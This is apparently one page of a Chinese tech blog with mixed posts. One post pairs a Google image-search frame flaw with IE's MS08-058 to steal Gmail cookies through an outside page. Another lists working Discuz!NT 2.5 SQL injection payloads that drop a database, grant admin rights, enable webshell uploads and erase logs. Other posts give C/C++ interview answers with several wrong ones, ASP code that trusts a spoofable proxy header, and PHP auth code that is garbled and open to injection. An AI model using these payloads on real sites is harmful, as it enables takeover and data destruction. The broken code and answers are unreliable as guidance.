工作太忙了,自己也懒,更新速度要慢了,大家包涵。

Insider

Archives

利用MS08-058攻击Google

漏洞说明:Google是全球最大的搜索引擎。同时Google拥有其他庞大的WEB应用程序产品线,涉及EMAIL、BLOG、在线文档、个人主页、电子地图、论坛、RSS等互联网几乎所有的应用业务。80sec发现Google提供的图片搜索服务存在安全问题,结合IE浏览器的MS08-058漏洞可以造成整站的跨站脚本漏洞,几乎可以控制所有的Google服务和获得目标用户的认证信息。

漏洞站点:http://www.google.com

漏洞解析:Google提供的图片搜索服务存在网页框架安全问题,恶意攻击者可以指定网页的内嵌框架页指向任意网页。该服务提供的URL地址主域名可以更改成Google的其他业务的子域名,从而造成严重的钓鱼网页攻击隐患。如下:黑客指定imgrefurl参数就可能构造GMAIL相关服务的钓鱼网页。

http://mail.google.com/imgres?imgurl=xiaocui&imgrefurl=http://www.xiaocui.cn&hl=cn

该漏洞结合由80SEC团队成员发现的IE浏览器的MS08-058部分漏洞可以造成GOOGLE整站的跨站脚本XSS漏洞,linx在《利用IE 框架跨域》文档分析了MS08-058涉及网页框架安全问题,子框架网页可以操作主框架的窗口句柄。这种类型的漏洞主要危害是不受IE浏览器同源策略的限制,可以跨域控制其他域的网页,影响所有的WEB应用。微软已经在08年10月提供了MS08-058补丁修复了该漏洞。

测试代码:

将Google的漏洞页指向MS08-058漏洞攻击页

http://mail.google.com/imgres?imgurl=xiaocui&imgrefurl=http://www.xiaocui.cn/blog/MS08-058.htm&hl=cn

MS08-058.htm内容

即可获得GAMIL的Cookie信息

危害提醒:

黑客利用浏览器漏洞可以使这种类型的低风险Web安全漏洞扩大成影响所有Web应用的高风险安全问题,请各大网站及安全管理人员仔细分析评估MS08-058类型的Web安全问题。

终于完成《东北医药招商网》

终于可以上线了!
这个站从开始策划到今天正式发布,已经很长时间了。
一直想做一个这样的网站,这也是我一直以来的心愿。
不管它最后能挺多长时间,我会坚持的。

http://www.o024.cn

javascript 实现随机数

Math对象中的方法
Math.random() 该方法返回一个0到1之间的随机数,不包括0和1。
要实现获得一个maxNumber到minNumber范围内的随机整数,实现方法如下:
choNumber=maxNumber-minNumber+1;
number=Math.floor(Math.random()*choNumber+minNumber)

例:
选择一个1到10之间的随机数:
number=Math.floor(Math.random()*10+1);
可能出现的值有10个,最小的值为1。
选择一个2到10之间的随机数:
number=Math.floor(Math.random()*9+2);
可能出现的值有9个,最小的值为2。
解释:Math.floor()用来获取一个整数,将小数转换成整数。

通过函数实现从一个数组中随机选择一个值:
实现selectFrom()函数获得一个iFirstValue到iLastValue之间的随机整数
function selectFrom(iFirstValue,iLastValue)
{
var iChoices=iLastValue-iFirstValue+1;
return Math.floor(Math.random()*iChoices+iFirstValue);
}

例:

var aColors=["red","green","yellow","black","blue","purple","brown"];
var sColors=aColors[selectFrom(0,aColors.length-1)]

关于PHP编码转化的问题

PHP转化GB2312到UTF-8这个问题已经困扰我好几天了,今天终于解决这个问题了。
这几天在网上查了很多的资料,说法不一,也有自己写函数的,看起来实在是复杂,在网上查资料的时候无意间发现了iconv()这个函数,其实找了这么几天,这个函数就是专门用来做编码转化的,直接用它转化为自己想要的编码然后重新更新数据库就可以了。

PHP5是不用设置就可以使用的,已经内置了.

函数的具体使用是:iconv(”UTF-8″, “GB2312″,”待转化的字符串或变量”);

成功激活我的Windows Server 2008

用2008已经有半年了
一直是用的试用版,没办法,没钱啊。又不想用那些乱七八糟的所谓什么破解法,影响一些功能。
所以以前只用过一次时间停止,可以再多试用两个月,不过今天一开机系统就提示还剩两天了,唉,没办法,硬着头皮找啊。
在远景上看了半天,觉得最稳妥的方法还是DreamSpark,微软的学生中心,去再做回一次大学生吧,哈哈。
附详细步骤:
1、live.haust.edu.cn 邮箱申请注册地址:https://domains.live.com/members/signup.aspx?domain=live.haust.edu.cn
邮箱为:***@live.haust.edu.cn
注册方法跟hotmail一样,很简单,主要是要这个.edu.cn的后缀。
2、注册成功后,进入:http://www.msuniversity.edu.cn/m_directdownload/introduction.aspx 开始注册和验证流程。
注册完后一定要进行:用户高级注册页面,系统会发送验证码到你邮箱,进行权限验证.(此验证码之后还会用到一次!)
3.登录邮箱查看验证码:http://mail.live.com
4.验证过后,打开https://downloads.channel8.msdn.com/Products/win_2008_server_stan.aspx
点验证-
step2(第二步):选:china
step3(第三步):选:china-CERNET
然后点:
会弹出一个登录框:
用户名:你的邮箱名
密码:是检验码,就是之前发到你邮箱的那个学生验证码,不是邮箱密码
等待一会,验证通过后,选中 I have read and agree to the terms of the license agreement
然后点“GET KEY”,看到了吧?没错,就是windows 2008专业版的key。

得到Key怎么办?
不用问吗?赶紧去激活啊!
最简单也是最快的方式,命令提示符下运行:slmgr.vbs -ipk 得到的Key,回车,这一步是替换你原有的试用Key。等一小会,会提示你更新成功。然后再输入slmgr.vbs -ato,回车,再等那么一小会儿,看到什么了,呵呵,对了,激活成功了,就这么简单。哈哈。

华为C/C++笔试题目

1.static有什么用途?(请至少说明两种)
1)在函数体,一个被声明为静态的变量在这一函数被调用过程中维持其值不变。
2) 在模块内(但在函数体外),一个被声明为静态的变量可以被模块内所用函数访问,但不能被模块外其它函数访问。它是一个本地的全局变量。
3) 在模块内,一个被声明为静态的函数只可被这一模块内的其它函数调用。那就是,这个函数被限制在声明它的模块的本地范围内使用

2.引用与指针有什么区别?
1) 引用必须被初始化,指针不必。
2) 引用初始化以后不能被改变,指针可以改变所指的对象。
3) 不存在指向空值的引用,但是存在指向空值的指针。

3.描述实时系统的基本特性
在特定时间内完成特定的任务,实时性与可靠性。

4.全局变量和局部变量在内存中是否有区别?如果有,是什么区别?
全局变量储存在静态数据库,局部变量在堆栈。

5.什么是平衡二叉树?
左右子树都是平衡二叉树 且左右子树的深度差值的绝对值不大于1。

6.堆栈溢出一般是由什么原因导致的?
没有回收垃圾资源。

7.什么函数不能声明为虚函数?
constructor函数不能声明为虚函数。

8.冒泡排序算法的时间复杂度是什么?
时间复杂度是O(n^2)。

9.写出float x 与“零值”比较的if语句。
if(x>0.000001&&x<-0.000001)

10.Internet采用哪种网络协议?该协议的主要层次结构?
Tcp/Ip协议
主要层次结构为: 应用层/传输层/网络层/数据链路层/物理层。

11.Internet物理地址和IP地址转换采用什么协议?
ARP (Address Resolution Protocol)(地址解析協議)

12.IP地址的编码分为哪俩部分?
IP地址由两部分组成,网络号和主机号。不过是要和“子网掩码”按位与上之后才能区分哪些是网络位哪些是主机位。

13.用户输入M,N值,从1至N开始顺序循环数数,每数到M输出该数值,直至全部输出。写出C程序。
循环链表,用取余操作做

14.不能做switch()的参数类型是:
switch的参数不能为实型。

1.写出判断ABCD四个表达式的是否正确, 若正确, 写出经过表达式中 a的值(3分)
int a = 4;
(A)a += (a++); (B) a += (++a) ;(C) (a++) += a;(D) (++a) += (a++);
a = ?
答:C错误,左侧不是一个有效变量,不能赋值,可改为(++a) += a;
改后答案依次为9,10,10,11

2.某32位系统下, C++程序,请计算sizeof 的值(5分).
char str[] = “http://www.ibegroup.com/”
char *p = str ;
int n = 10;
请计算
sizeof (str ) = ?(1)
sizeof ( p ) = ?(2)
sizeof ( n ) = ?(3)
void Foo ( char str[100]){
请计算
sizeof( str ) = ?(4)
}
void *p = malloc( 100 );
请计算
sizeof ( p ) = ?(5)
答:(1)17 (2)4 (3) 4 (4)4 (5)4

3. 回答下面的问题. (4分)
(1).头文件中的 ifndef/define/endif 干什么用?预处理
答:防止头文件被重复引用
(2). #i nclude 和 #i nclude “filename.h” 有什么区别?
答:前者用来包含开发环境提供的库头文件,后者用来包含自己编写的头文件。
(3).在C++ 程序中调用被 C 编译器编译后的函数,为什么要加 extern “C”声明?
答:函数和变量被C++编译后在符号库中的名字与C语言的不同,被extern "C"修饰的变
量和函数是按照C语言方式编译和连接的。由于编译后的名字不同,C++程序不能直接调
用C 函数。C++提供了一个C 连接交换指定符号extern“C”来解决这个问题。
(4). switch()中不允许的数据类型是?
答:实型

4. 回答下面的问题(6分)
(1).Void GetMemory(char **p, int num){
*p = (char *)malloc(num);
}
void Test(void){
char *str = NULL;
GetMemory(&str, 100);
strcpy(str, "hello");
printf(str);
}
请问运行Test 函数会有什么样的结果?
答:输出“hello”
(2). void Test(void){
char *str = (char *) malloc(100);
strcpy(str, “hello”);
free(str);
if(str != NULL){
strcpy(str, “world”);
printf(str);
}
}
请问运行Test 函数会有什么样的结果?
答:输出“world”
(3). char *GetMemory(void){
char p[] = "hello world";
return p;
}
void Test(void){
char *str = NULL;
str = GetMemory();
printf(str);
}
请问运行Test 函数会有什么样的结果?
答:无效的指针,输出不确定

5. 编写strcat函数(6分)
已知strcat函数的原型是char *strcat (char *strDest, const char *strSrc);
其中strDest 是目的字符串,strSrc 是源字符串。
(1)不调用C++/C 的字符串库函数,请编写函数 strcat
答:
VC源码:
char * __cdecl strcat (char * dst, const char * src)
{
char * cp = dst;
while( *cp )
cp++; /* find end of dst */
while( *cp++ = *src++ ) ; /* Copy src to end of dst */
return( dst ); /* return dst */
}
(2)strcat能把strSrc 的内容连接到strDest,为什么还要char * 类型的返回值?
答:方便赋值给其他变量

6.MFC中CString是类型安全类么?
答:不是,其它数据类型转换到CString可以使用CString的成员函数Format来转换

7.C++中为什么用模板类。
答:(1)可用来创建动态增长和减小的数据结构
(2)它是类型无关的,因此具有很高的可复用性。
(3)它在编译时而不是运行时检查数据类型,保证了类型安全
(4)它是平台无关的,可移植性
(5)可用于基本数据类型

8.CSingleLock是干什么的。
答:同步多个线程对一个数据类的同时访问

9.NEWTEXTMETRIC 是什么。
答:物理字体结构,用来设置字体的高宽大小

10.程序什么时候应该使用线程,什么时候单线程效率高。
答:1.耗时的操作使用线程,提高应用程序响应
2.并行操作时使用线程,如C/S架构的服务器端并发线程响应用户的请求。
3.多CPU系统中,使用线程提高CPU利用率
4.改善程序结构。一个既长又复杂的进程可以考虑分为多个线程,成为几个独立或半独
立的运行部分,这样的程序会利于理解和修改。
其他情况都使用单线程。

11.Windows是内核级线程么。
答:见下一题

12.Linux有内核级线程么。
答:线程通常被定义为一个进程中代码的不同执行路线。从实现方式上划分,线程有两
种类型:“用户级线程”和“内核级线程”。 用户线程指不需要内核支持而在用户程序
中实现的线程,其不依赖于操作系统核心,应用进程利用线程库提供创建、同步、调度
和管理线程的函数来控制用户线程。这种线程甚至在象 DOS 这样的操作系统中也可实现
,但线程的调度需要用户程序完成,这有些类似 Windows 3.x 的协作式多任务。另外一
种则需要内核的参与,由内核完成线程的调度。其依赖于操作系统核心,由内核的内部
需求进行创建和撤销,这两种模型各有其好处和缺点。用户线程不需要额外的内核开支
,并且用户态线程的实现方式可以被定制或修改以适应特殊应用的要求,但是当一个线
程因 I/O 而处于等待状态时,整个进程就会被调度程序切换为等待状态,其他线程得不
到运行的机会;而内核线程则没有各个限制,有利于发挥多处理器的并发优势,但却
用了更多的系统开支。
Windows NT和OS/2支持内核线程。Linux 支持内核级的多线程

13.C++中什么数据分配在栈或堆中,New分配数据是在近堆还是远堆中?
答:栈: 存放局部变量,函数调用参数,函数返回值,函数返回地址。由系统管理
堆: 程序运行时动态申请,new 和 malloc申请的内存就在堆上

14.使用线程是如何防止出现大的波峰。
答:意思是如何防止同时产生大量的线程,方法是使用线程池,线程池具有可以同时提
高调度效率和限制资源使用的好处,线程池中的线程达到最大数时,其他线程就会排队
等候。

15函数模板与类模板有什么区别?
答:函数模板的实例化是由编译程序在处理函数调用时自动完成的,而类模板的实例化
必须由程序员在程序中显式地指定。

16一般数据库若出现日志满了,会出现什么情况,是否还能使用?
答:只能执行查询等读操作,不能执行更改,备份等写操作,原因是任何写操作都要记
录日志。也就是说基本上处于不能使用的状态。

17 SQL Server是否支持行级锁,有什么好处?
答:支持,设立封锁机制主要是为了对并发操作进行控制,对干扰进行封锁,保证数据
的一致性和准确性,行级封锁确保在用户取得被更新的行到该行进行更新这段时间内不
被其它用户所修改。因而行级锁即可保证数据的一致性又能提高数据操作的迸发性。

18如果数据库满了会出现什么情况,是否还能使用?
答:见16

19 关于内存对齐的问题以及sizof()的输出
答:编译器自动对齐的原因:为了提高程序的性能,数据结构(尤其是栈)应该尽可能
地在自然边界上对齐。原因在于,为了访问未对齐的内存,处理器需要作两次内存访问
;然而,对齐的内存访问仅需要一次访问。

20 int i=10, j=10, k=3; k*=i+j; k最后的值是?
答:60,此题考察优先级,实际写成: k*=(i+j);,赋值运算符优先级最低

21.对数据库的一张表进行操作,同时要对另一张表进行操作,如何实现?
答:将操作多个表的操作放入到事务中进行处理

22.TCP/IP 建立连接的过程?(3-way shake)
答:在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状
态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个
SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1)
,此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

23.ICMP是什么协议,处于哪一层?
答:Internet控制报文协议,处于网络层(IP层)

24.触发器怎么工作的?
答:触发器主要是通过事件进行触发而被执行的,当对某一表进行诸如Update、 Insert
、 Delete 这些操作时,数据库就会自动执行触发器所定义的SQL 语句,从而确保对数
据的处理必须符合由这些SQL 语句所定义的规则。

25.winsock建立连接的主要实现步骤?
答:服务器端:socker()建立套接字,绑定(bind)并监听(listen),用accept()
等待客户端连接。
客户端:socker()建立套接字,连接(connect)服务器,连接上后使用send()和recv(
),在套接字上写读数据,直至数据交换完毕,closesocket()关闭套接字。
服务器端:accept()发现有客户端连接,建立一个新的套接字,自身重新开始等待连
接。该新产生的套接字使用send()和recv()写读数据,直至数据交换完毕,closesock
et()关闭套接字。

26.动态连接库的两种方式?
答:调用一个DLL中的函数有两种方法:
1.载入时动态链接(load-time dynamic linking),模块非常明确调用某个导出函数
,使得他们就像本地函数一样。这需要链接时链接那些函数所在DLL的导入库,导入库向
系统提供了载入DLL时所需的信息及DLL函数定位。
2.运行时动态链接(run-time dynamic linking),运行时可以通过LoadLibrary或Loa
dLibraryEx函数载入DLL。DLL载入后,模块可以通过调用GetProcAddress获取DLL函数的
出口地址,然后就可以通过返回的函数指针调用DLL函数了。如此即可避免导入库文件了

27.IP组播有那些好处?
答:Internet上产生的许多新的应用,特别是高带宽的多媒体应用,带来了带宽的急剧
消耗和网络拥挤问题。组播是一种允许一个或多个发送者(组播源)发送单一的数据包
到多个接收者(一次的,同时的)的网络技术。组播可以大大的节省网络带宽,因为
论有多少个目标地址,在整个网络的任何一条链路上只传送单一的数据包。所以说组播
技术的核心就是针对如何节约网络资源的前提下保证服务质量。

ASP根据IP来判断跳转页面

真正IP的取得应该这样:
[code]ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if ip = "" then
ip=Request.ServerVariables("remote_addr")
end if
if instr(ip,"'")>0 then
ip="0.0.0.0"
end if [/code]

这样可以突破代理IP查看到真实IP。而不是单纯地用一句

ip=Request.ServerVariables("remote_addr")

这样如果人家用了代理,只能得到代理服务器IP。

我们知道,IP格式是这样的:aaa.bbb.ccc.ddd
每一位是0到255。所以,我们可以将任意一个IP转换成一个数IPNUMS

ASP公式:
[code]ip="172.16.0.1"
arr=split(ip,".")
IPNUMS=int(arr(0))*16777216+int(arr(1))*65536+int(arr(2))*256+int(arr(3))-1
response.write IPNUMS [/code]
这样得出的结果,是唯一的,大小关系与IP的所属关系是相同的。

在IP进行比较的时候,就直接比较IPNUMS的大小来判断是否在你需要的IP段内。

如,校内IP段一是这样:172.16.0.1-172.18.255.254
转换后:2886729728 – 2886926333
现有一个内网IP:172.17.100.100转换后为:2886820963

可以知道2886729728<2886820963<2886926333

所以,可以知道这个IP在内网里,就用跳转跳到1.asp

response.Redirect "1.asp"

ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") 这句,如果使用了代理IP上网,这将透过代理得到真实IP。但如果没有用代理,则将得到一个空值。所以,下面对得到的IP进行判断是否使用了代理: if ip = "" then ip=Request.ServerVariables("remote_addr") end if 如果没有用代理那么ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")值为空 ,则用ip=Request.ServerVariables("remote_addr") 得到真实IP。

详细说一下第一部分。 ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") if ip = "" then ip=Request.ServerVariables("remote_addr") end if if instr(ip,"'")>0 then ip="0.0.0.0" end if

如果IP中包含有符号',则IP为0.0.0.0 if instr(ip,"'")>0 then ip="0.0.0.0" end if 这种方法主要是决对规范IP,使得后面使用split(ip,".")的时候在任何情况下都不会出错。

同时登录多个飞信程序 双开飞信

默认安装飞信的只能在电脑上打开一个窗口,曾经有很多用户询问移动官方,都被告知不能实现。但其实是支持的,现在我们可以通过小修改在电脑上打开多个窗口:

1、打开飞信的安装目录,找到Client.config文件,一般在C:/Program Files/China Mobile/Fetion/Client.config

2、用记事本打开,内容如下:

[quote]< ?xml version="1.0" encoding="utf-8"?>






[/quote]

3、在三个后面增加一行:

4、也就是这样:

[quote]< ?xml version="1.0" encoding="utf-8"?>







[/quote]

保存!可以在电脑上开N个飞信窗口了。

Discuz!NT 2.5(20080826更新前)注入

漏洞说明:Discuz!NT 2.5 是康盛创想(北京)科技有限公司旗下的一款功能强大的基于 ASP.net 平台的社区软件。基于先进的 .Net Framework,默认支持 SQLServer数据库,可扩展支持Access、MySQL等多种数据库,支持IIS5、IIS6、IIS7,安全高效、稳定易用,充分发挥 ASP.net 特性,支持自由选择切换皮肤,支持多种其它论坛的数据转换。
Discuz!NT 2.5 强化论坛功能,提高速度和稳定性,负载能力也有显著改善,在此基础上还将提供包括商品交易、空间、相册等强大功能的插件包,供用户自由选择安装,体现出强大的伸缩扩展性。无论是从功能、性能,还是从支持环境等角度来看,都是目前最为完善和成熟 ASP.net 社区软件。但是ISTO成员在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限,从而控制整个网站。

漏洞厂商:http://www.comsenz.com

漏洞解析:在 Discuz!NT 2.5(20080826更新前)版本中showuser.aspx页面由于对ordertype变量没处理好!导致SQL注入,恶意攻击用户甚至不用注册账户,只要精心构造ordertype即可利用此漏洞。

漏洞测试:

[quote]http://www.*.com/bbs/showuser.aspx?ordertype=desc;drop database kj;–

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_users set adminid='1',groupid='1' where username='webtets';–//更新为管理员

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='aspx' where extension='jpg';– //更新为aspx可上传

得到SHELL后…

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='jpg' where extension='aspx';– //更新回JPG

http://www.*.com/bbs/showuser.aspx?ordertype=desc;delete from dnt_adminvisitlog where username='webtets';– //删除日志

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_users set adminid='',groupid='' where username='webtets';–//取消管理员[/quote]

Apache服务器的用户认证

经常上网的读者会遇到这种情况:访问一些网站的某些资源时,浏览器弹出一个对话框,要求输入用户名和密码来获取对资源的访问。这就是用户认证的一种技术。用户认证是保护网络系统资源的第一道防线,它控制着所有登录并检查访问用户的合法性,其目标是仅让合法用户以合法的权限访问网络系统的资源。基本的用户认证技术是“用户名+密码”。

Apache是目前流行的Web服务器,可运行在Linux、Unix、Windows等操作系统下,它可以很好地解决“用户名+密码”的认证问题。Apache用户认证所需要的用户名和密码有两种不同的存贮方式:一种是文本文件;另一种是MSQL、 oracle、MySQL等数据库。下面以Linux的Apache为例,就这两种存贮方式,分别介绍如何实现用户认证功能,同时对Windows的 Apache用户认证作简要的说明。

采用文本文件存储

这种认证方式的基本思想是:Apache启动认证功能后,就可以在需要限制访问的目录下建立一个名为.htaccess的文件,指定认证的配置命令。当用户第一次访问该目录的文件时,浏览器会显示一个对话框,要求输入用户名和密码,进行用户身份的确认。若是合法用户,则显示所访问的页面内容,此后访问该目录的每个页面,浏览器自动送出用户名和密码,不用再输入了,直到关闭浏览器为止。以下是实现的具体步骤:

以超级用户root进入Linux,假设Apache 1.3.12已经编译、安装到了/usr/local/apache目录中。缺省情况下,编译Apache时自动加入mod_auth模块,利用此模块可以实现“用户名+密码”以文本文件为存储方式的认证功能。

1.修改Apache的配置文件/usr/local/apache/conf/httpd.conf,对认证资源所在的目录设定配置命令。下例是对/usr/local/apache/htdocs/members目录的配置:

<Directory /usr/local/apache/htdocs /members>

Options Indexes FollowSymLinks

allowoverride authconfig

order allow,deny

allow from all

</Directory>

其中,allowoverride authconfig一行表示允许对/usr/local/apache/htdocs/ members目录下的文件进行用户认证。

2.在限制访问的目录/usr/local/apache/htdocs/members下建立一个文件.htaccess,其内容如下:

AuthName "会员区"

AuthType basic

AuthUserFile/usr/local/apache/members.txt

require valid-user

说明:文件.htaccess中常用的配置命令有以下几个:

1) AuthName命令:指定认证区域名称。区域名称是在提示要求认证的对话框中显示给用户的(见附图)。

2)AuthType命令:指定认证类型。在HTTP1.0中,只有一种认证类型:basic。在HTTP1.1中有几种认证类型,如:MD5。

3) AuthUserFile命令:指定一个包含用户名和密码的文本文件,每行一对。

4) AuthGroupFile命令:指定包含用户组清单和这些组的成员清单的文本文件。组的成员之间用空格分开,如:

managers:user1 user2

5) require命令:指定哪些用户或组才能被授权访问。如:

require user user1 user2(只有用户user1和user2可以访问)

requiresgroupsmanagers (只有组managers中成员可以访问)

require valid-user (在AuthUserFile指定的文件中任何用户都可以访问)

3.利用Apache附带的程序htpasswd,生成包含用户名和密码的文本文件:/usr/local/apache/members.txt,每行内容格式为“用户名:密码”。

#cd /usr/local/apache/bin

#htpasswd -bc ../members.txt user1 1234

#htpasswd -b ../members.txt user2 5678

文本文件members.txt含有两个用户:user1,口令为1234;user2,口令为5678。注意,不要将此文本文件存放在Web文档的目录树中,以免被用户下载。

欲了解htpasswd程序的帮助,请执行htpasswd -h。

当用户数量比较少时,这种方法对用户的认证是方便、省事的,维护工作也简单。但是在用户数量有数万人,甚至数十万人时,会在查找用户上花掉一定时间,从而降低服务器的效率。这种情形,应采用数据库方式。

采用数据库存储

目前,Apache、PHP4、MySQL三者是Linux下构建Web网站的最佳搭档,这三个软件都是免费软件。将三者结合起来,通过HTTP协议,利用PHP4和MySQL,实现Apache的用户认证功能。

只有在PHP4以Apache的模块方式来运行的时候才能进行用户认证。为此,在编译Apache时需要加入PHP4模块一起编译。假设PHP4作为 Apache的模块,编译、安装Apache到/usr/local/apache目录,编译、安装MySQL到/usr/local/mysql目录。然后进行下面的步骤:

1.在MySQL中建立一个数据库member,在其中建立一个表users,用来存放合法用户的用户名和密码。

1)用vi命令在/tmp目录建立一个SQL脚本文件auth.sql,内容为:

drop database if exists member;

create database member;

use member;

create table users (

username char(20) not null,

password char(20) not null,

);

insertsintosusers values("user1",password("1234"));

insertsintosusers values("user2",password("5678"));

2)启动MySQL客户程序mysql,执行上述SQL脚本文件auth.sql的命令,在表users中增加两个用户的记录。

#mysql -u root -pmypwd</tmp/auth.sql

2.编写一个PHP脚本头文件auth.inc,程序内容为:

<?php

function authenticate() {

Header('WWW-authenticate: basic realm="会员区"');

Header('HTTP/1.0 401 Unauthorized');

echo "你必须输入正确的用户名和口令。 ";

exit;

}

function CheckUser(, ) {

if ( == ""
== "") return 0;

= "Select username,password FROM usersswheresusername='' and password=password('')";

= mysql_connect('localhost', 'root', 'mypwd');

mysql_select_db('member',);

= mysql_query(, );

=mysql_num_rows();

mysql_close();

if (>0) {

return 1; //有效登录

} else {

return 0; //无效登录

}

}

?>

函数Authenticate()的作用是利用函数Header('WWW-authenticate: basic realm="会员区"'),向浏览器发送一个认证请求消息,使浏览器弹出一个用户名/密码的对话框。当用户输入用户名和密码后,包含此PHP脚本的URL将自动地被再次调用,将用户名、密码、认证类型分别存放到PHP4的三个特殊变量:、、,在PHP程序中可根据这三个变量值来判断是否合法用户。Header()函数中,basic表示基本认证类型,realm的值表示认证区域名称。

函数Header('HTTP/1.0 401 Unauthorized')使浏览器用户在连续多次输入错误的用户名或密码时接收到HTTP 401错误。

函数CheckUser()用来判断浏览器用户发送来的用户名、密码是否与MySQL数据库的相同,若相同则返回1,否则返回0。其中 mysql_connect('localhost', 'root', 'mypwd')的数据库用户名root和密码mypwd,应根据自己的 MySQL设置而改变。

3.在需要限制访问的每个PHP脚本程序开头增加下列程序段:

<?php

require('auth.inc');

if (CheckUser(,)==0) {

authenticate();

} else {

echo "这是合法用户要访问的网页。"; //将此行改为向合法用户输出的网页

}

?>

把需要向合法用户显示的网页内容放到else子句中,取代上述程序段的一行:

echo "这是合法用户要访问的网页。";

这样,当用户访问该PHP脚本程序时,需要输入用户名和密码来确认用户的身份。

Windows的Apache用户认证

1.采用文本文件存放用户名和密码时,其方法同前,但需要注意的是表示路径的目录名之间、目录名与文件名之间一律用斜线“/”分开,而不是反斜线“”。

2.采用MySQL数据库存放用户名和密码时,首先按下列方法将PHP 4.0.3作为Apache的模块来运行,然后按上述“采用数据库存储用户名和密码的用户认证”的方法完成。

1)下载Windows版的Apache 1.3.12、PHP 4.0.3、MySQL 3.2.32,将三个软件分别解压、安装到C:pache、C:PHP4、C:mysql目录。

2) C:PHP4SAPI目录有几个常用Web服务器的PHP模块文件,将其中php4apache.dll拷贝到Apache的modules子目录(C:pachemodules)。

3)修改Apache的配置文件C:pachenfhttpd.conf,增加以下几行:

LoadModule php4_module modules/ php4apache.dll

AddType application/x-httpd-php .php3

AddType application/x-httpd-php-source .phps

AddType application/x-httpd-php .php

第一行使PHP4以Apache的模块方式运行,这样才能进行用户认证,后三行定义PHP脚本程序的扩展名。

4)在autoexec.bat文件的PATH命令中增加PHP4所在路径“C:PHP4”,重新启动电脑。

 Page 4 of 36  « First  ... « 2  3  4  5  6 » ...  Last »